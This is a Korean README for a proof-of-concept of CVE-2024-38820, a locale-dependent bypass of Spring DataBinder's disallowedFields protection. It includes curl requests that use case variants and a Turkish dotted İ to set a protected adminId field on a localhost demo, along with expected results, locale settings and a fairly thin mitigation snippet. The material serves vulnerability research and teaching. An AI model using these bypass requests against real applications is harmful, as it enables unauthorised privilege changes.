
CVE-2024-38820에 대한 개념 증명 익스플로잇으로, Spring Framework DataBinder의 disallowedFields 보호에 대한 로케일 종속 대소문자 변환 우회를 시연하며, 자동화된 테스트 및 완화 지침을 포함합니다.
이 프로젝트는 Spring Framework의 DataBinder에서 disallowedFields 보호를 우회할 수 있는, 로케일에 의존적인 대소문자 변환 문제로 인한 취약점인 CVE-2024-38820을 시연합니다.
String.toLowerCase() 동작이 로케일에 따라 달라짐CVE-2022-22968에 대한 수정은 String.toLowerCase()를 사용하여 disallowedFields 패턴을 대소문자 구분하지 않도록 했습니다. 그러나 이 메서드에는 로케일에 의존적인 예외가 있습니다:
"ADMINID".toLowerCase()가 "adminıd"가 됩니다 (점 없는 ı 포함)"ADMINID".toLowerCase()가 "adminid"가 됩니다이 차이로 인해 공격자가 특정 대소문자 변형을 사용하여 필드 보호를 우회할 수 있습니다.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
애플리케이션이 http://localhost:8081에서 시작됩니다.
테스트 엔드포인트를 방문하여 로케일 정보를 확인하세요:
http://localhost:8081/test
다양한 필드 이름 변형을 시도해 보세요:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
포괄적인 테스트 스크립트 실행:
./test-cve-2024-38820.sh
adminId=999 → 차단됨 (일반 대소문자)ADMINID=999 → 우회됨 (대문자)AdminId=999 → 우회됨 (혼합 대소문자)ADMİNID=999 → 우회됨 (터키어 İ)adminId=999 → 차단됨 (일반 대소문자)ADMINID=999 → 차단됨 (보호됨)AdminId=999 → 차단됨 (보호됨)src/main/resources/application.properties 편집:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
JVM 기본 로케일을 설정할 수도 있습니다:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder가 disallowedFields("adminId")를 구성toLowerCase()로 대소문자 구분 없는 매칭 사용"ADMINID".toLowerCase() ≠ "adminid"adminId가 설정됨애플리케이션이 상세 정보를 기록합니다:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
로케일 인식 필드 매칭 사용:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
로케일에 의존적인 연산에 의존하지 않는 사용자 정의 필드 검증을 구현하세요.
이 개념 증명은 교육 및 보안 연구 목적으로만 사용됩니다. 책임감 있게 사용하고, 자신이 소유하거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.